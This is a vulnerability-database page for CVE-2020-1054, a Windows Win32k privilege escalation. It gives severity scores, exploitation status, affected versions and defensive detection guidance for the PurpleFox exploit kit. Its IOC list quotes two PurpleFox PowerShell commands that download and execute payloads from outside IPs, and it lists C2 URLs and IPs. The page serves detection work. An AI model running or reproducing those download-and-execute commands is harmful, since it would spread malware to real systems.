cbcvebase.
CVE-2020-1054
published 2020-05-21

CVE-2020-1054: An elevation of privilege vulnerability exists in Windows when the Windows kernel-mode driver fails to properly handle objects in memory, aka 'Win32k Elevation…

PriorityP184high7.8CVSS 3.1
AVLACLPRLUINSUCHIHAH
KEVITWEXPLOIT
CISA Known Exploited Vulnerabilitydue 2022-05-03
Exploited in the wild
EPSS
52.78%
98.9th percentile
An elevation of privilege vulnerability exists in Windows when the Windows kernel-mode driver fails to properly handle objects in memory, aka 'Win32k Elevation of Privilege Vulnerability'. This CVE ID is unique from CVE-2020-1143.

Affected

65 ranges· showing 25
VendorProductVersion rangeFixed in
microsoftwindows
microsoftwindows
microsoftwindows
microsoftwindows
microsoftwindows
microsoftwindows
microsoftwindows
microsoftwindows
microsoftwindows
microsoftwindows
microsoftwindows
microsoftwindows
microsoftwindows
microsoftwindows
microsoftwindows
microsoftwindows
microsoftwindows
microsoftwindows
microsoftwindows_10
microsoftwindows_10
microsoftwindows_10
microsoftwindows_10
microsoftwindows_10
microsoftwindows_10
microsoftwindows_10_version_1903_for_32-bit_systems

Detection & IOCsextracted from sources · hover to see the quote

hash1aa1df57f786224f4997f1d6284a123176291f3f3d43bc4b942ae423c58cc356
hash3039208b2a34bb2e71bc6a77ae3be2fa588abd359fdb0068253739f3839f3425
hash36725374d7ec66c9876eb1d5edc2a5889643e01dbd0ac7a6705babbc3c3ea6a9
hashdb7c4a360b460a13148d6e5fff530afaa0fa161959166cdab342d0aa9760ba68
hashf09c502f4b5862641b3c3eff19ae96d949fab465b3fddd1888fe945817c9e2fd
urlhttp://wpad[.]id/wpad[.]dat
urlhttp://9kf[.]me/in[.]php?id=1
urlhttp://2kf[.]me/in[.]php
urlhttp://6kf[.]me/in[.]php
urlhttp://9kf[.]me/in[.]php
domainadvb9fyxlf2v[.]com
ip185.112.144.245
urlhxxp[:]//185.112.144.245/a/data
command"cmd.exe" /c powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('hxxp[[:]]//103.228.112.246[[:]]17881/57BC9B7E.Png');MsiMake hxxp[[:]]//103.228.112.246[[:]]17881/0CFA042F.Png"
command"cmd.exe" /c powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http[:]//117.187.136.141[:]13405/57BC9B7E.Png');MsiMake http[:]//117.187.136.141[:]13405/0CFA042F.Png"
ip103.228.112.246
ip117.187.136.141
registryHKLM\SYSTEM\CurrentControlSet\Services\{ac00-ac10}
filenamewinupdate64.log
filenamesysupdate.log
filenamedbcode21mk.log
filenamesetupact64.log
pathC:\Windows\AppPatch\Acpsens.dll
  • CVE-2020-1054 is exploited by PurpleFox EK targeting Windows 7/Windows Server 2008 systems. Detect by monitoring for absence of hotfixes KB4556836 or KB4556843 combined with exploit-chain PowerShell activity.
  • PurpleFox uses PowerShell with '-nop -exec bypass' and IEX DownloadString to fetch and execute payloads named as .Png files (e.g., 57BC9B7E.Png, 0CFA042F.Png) followed by MsiMake command — alert on this pattern.
  • PurpleFox MSI package drops malicious files named dbcode21mk.log and setupact64.log to the Windows directory and replaces sens.dll — monitor for unexpected writes to C:\Windows\system32\sens.dll and C:\Windows\AppPatch\Acpsens.dll.
  • PurpleFox sets PendingFileRenameOperations under HKLM\SYSTEM\CurrentControlSet\Control\Session Manager to replace sens.dll on reboot — monitor this registry key for suspicious rename entries pointing to non-standard files.
  • PurpleFox creates a Windows firewall rule to block incoming connections on ports 135, 139, and 445 via a .vbs script — alert on firewall rule creation blocking these ports from non-administrative processes.
  • PurpleFox WPAD attack delivers CVE-2019-1367 JavaScript exploit via http://wpad[.]id/wpad[.]dat — monitor DNS and HTTP traffic for requests to wpad.id.
  • PurpleFox FoxSocket backdoor uses WebSocket keepalive messages and ECDH key exchange with an initial AES-encrypted message of fixed length 176 bytes — network signatures can target this fixed-length first WebSocket message.
  • PurpleFox removes old installation registry keys matching HKLM\SYSTEM\CurrentControlSet\Services\{ac00-ac10} — hunt for service keys in this hex range as indicators of prior or active PurpleFox infection.
  • ·CVE-2020-1054 is only targeted against Windows 7 / Windows Server 2008 systems in the PurpleFox exploit chain; the script checks for the absence of KB4556836 or KB4556843 before selecting this exploit.
  • ·All C2 domain resolution and payload delivery is proxied through Cloudflare, making IP-based blocking of the C2 infrastructure unreliable.

CVSS provenance

nvdv3.17.8HIGHCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
nvdv2.07.2HIGHAV:L/AC:L/Au:N/C:C/I:C/A:C
vulncheck7.8HIGH
cisa7.8HIGH
vendor_msrc7.0HIGH
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